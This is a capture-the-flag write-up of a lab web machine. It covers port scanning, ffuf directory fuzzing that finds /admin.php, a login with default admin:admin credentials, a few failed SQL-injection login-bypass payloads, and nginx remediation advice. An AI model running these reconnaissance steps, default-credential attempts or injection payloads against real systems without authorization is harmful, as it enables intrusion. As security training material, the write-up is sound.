TL;DR
Preignition is a Linux box with a single open port: 80/tcp running nginx 1.14.2. The root page is the default nginx placeholder — nothing interesting. Directory fuzzing with ffuf and a 4750-entry wordlist finds /admin.php (HTTP 200). The login form accepts admin:admin — default credentials that were never changed. The flag is returned directly in the HTML response body on successful login. No shell access required or possible; this is a pure web-authentication exercise demonstrating why directory enumeration and default credential testing are always in the methodology.
Recon
1. Liveness check
$ ping -c 3 10.129.36.62
PING 10.129.36.62 (10.129.36.62): 56 data bytes
Request timeout for icmp_seq 0
100% packet loss
ICMP filtered. Proceed with -Pn.
2. Initial TCP sweep — SYN scan fails
$ sudo nmap -sS -Pn -p- --min-rate 5000 10.129.36.62
All 65535 scanned ports are in ignored states (filtered).
SYN packets dropped by the firewall. This is a VPN/host-firewall artifact. Switching to TCP Connect scan:
3. TCP Connect scan reveals port 80
$ nmap -sT -Pn -p- --min-rate 3000 10.129.36.62
PORT STATE SERVICE
80/tcp open http
Key methodology note: -sS (SYN scan) requires raw socket privileges and sends crafted half-open packets. When a firewall drops SYN without RST, all ports appear filtered. -sT (TCP Connect scan) uses the OS network stack’s connect() call — a full three-way handshake — and returns closed (got RST) or open (got SYN-ACK) for each port, making firewall behavior less ambiguous.
4. Service detection
$ nmap -sT -sV -sC -Pn -p 80 10.129.36.62
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
nginx 1.14.2 — default installation page. Nothing in the root response body beyond the stock nginx placeholder.
5. Manual path checks
Before fuzzing automatically, quickly check the paths that commonly exist even on default web server installs:
curl -s http://10.129.36.62/robots.txt # → 404
curl -s http://10.129.36.62/.git/HEAD # → 404
curl -s http://10.129.36.62/admin/ # → 404
curl -s http://10.129.36.62/login # → 404
curl -s http://10.129.36.62/.env # → 404
Nothing. The content is not at any obvious path.
Foothold
Dead end #1 — SYN scan returning all-filtered
Covered above. The fix is -sT instead of -sS. Both scan types are valid; the difference is which one produces useful output when the target has asymmetric firewall rules.
Dead end #2 — gobuster with missing wordlist
gobuster dir -u http://10.129.36.62/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x txt,php,html
# Error: stat /usr/share/wordlists/dirbuster/...: no such file or directory
The Kali Linux default wordlist path doesn’t exist on macOS. Need to download the wordlist explicitly or use a local copy.
Working approach — ffuf with downloaded SecLists wordlist
Download a compact but effective wordlist:
curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt \
-o /tmp/common.txt
# 4750 entries
Run ffuf:
ffuf -u http://10.129.36.62/FUZZ -w /tmp/common.txt \
-mc 200,301,302,403,401 -t 50
Output:
admin.php [Status: 200, Size: 999, Words: 132, Lines: 32, Duration: 38ms]
One result: /admin.php returns HTTP 200 with 999 bytes — the only non-404 path out of 4750 tested.
The admin.php login form
curl -v http://10.129.36.62/admin.php
<h2 align="center">Admin Console Login</h2>
<form method="post">
<input type="text" name="username" placeholder="Enter Username">
<input type="password" name="password" placeholder="Enter Password">
<input type="submit" value="Login">
</form>
A POST form with username and password fields. No CSRF token.
Testing default credentials
Failed login response is 1071 bytes with “Wrong username or password.”
Successful login response is noticeably shorter (different page content).
curl -s -X POST http://10.129.36.62/admin.php -d "username=admin&password=admin"
Response:
<h4 style='text-align:center'>Congratulations! Your flag is: [REDACTED]</h4>
The flag is returned directly in the HTML body on successful authentication.
Why admin:admin worked: The admin console’s authentication is hardcoded or never changed from the installer’s default. This is CWE-798 (Use of Hard-coded Credentials) — the credential is part of the application configuration, not a changeable setting.
SQL injection attempts (all failed)
For completeness, classic auth bypass attempts were tried:
# Classic OR bypass
curl -s -X POST http://10.129.36.62/admin.php \
-d "username=admin' OR '1'='1&password=test"
# Response size: 1071 (wrong credentials)
# Comment bypass
curl -s -X POST http://10.129.36.62/admin.php \
-d "username=admin'-- -&password=test"
# Response size: 1071 (wrong credentials)
All SQL injection payloads returned 1071-byte failure pages. The authentication is implemented as string comparison, not a SQL query — there is no SQL injection surface here.
Privilege Escalation
N/A — Starting Point Tier 0 box with a web-only attack surface. The admin console login returns the flag inline; there is no shell access to obtain or escalate. Port 80 is the only open port on the machine.
What’s actually broken
- Default credentials never changed (
admin:admin). CWE-798. The application shipped with or was deployed with default credentials and they were never rotated. Any attacker who finds the login page immediately gets in. - Admin panel reachable from the internet without path obscurity.
/admin.phpis a predictable filename. It should be behind VPN, IP allowlist, or at minimum a non-guessable path. - No rate limiting on login attempts. The server accepts unlimited POST requests to
/admin.phpwith no lockout, CAPTCHA, or delay. An attacker can try thousands of credential combinations without interruption. (CWE-307) - No HTTPS. All credentials transmitted in cleartext over HTTP.
Remediation (the boring half)
Change default credentials immediately after installation:
# Typically in the application config
# Replace with a strong randomly generated password
APP_ADMIN_PASSWORD=$(openssl rand -base64 32)
Restrict the admin path at the nginx level:
location /admin.php {
allow 10.0.0.0/8; # internal network only
deny all;
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
Add rate limiting in nginx:
limit_req_zone $binary_remote_addr zone=admin:10m rate=3r/m;
location /admin.php {
limit_req zone=admin burst=5 nodelay;
# ... fastcgi config
}
Enable HTTPS:
certbot --nginx -d yourdomain.com
Lessons learned
- Directory fuzzing is mandatory on web targets. The root of this machine was a blank nginx page. Without fuzzing, the admin panel is invisible.
ffufwith even a 4750-entrycommon.txttakes seconds. - SYN scan vs TCP Connect scan.
-sSrequires raw sockets and can look like all-filtered when a stateful firewall drops SYN.-sTuses the OS network stack and gives clearer results. Know when to switch. - Response size is a reliable oracle. Failed login: 1071 bytes. Successful login: 365 bytes. When a login form returns HTTP 200 regardless of outcome (no redirects, no error codes), response size is your binary signal.
- Default credentials before wordlists.
admin:admin,admin:password,admin:123456take three seconds to test. Run them first, every time, before any automated brute-force.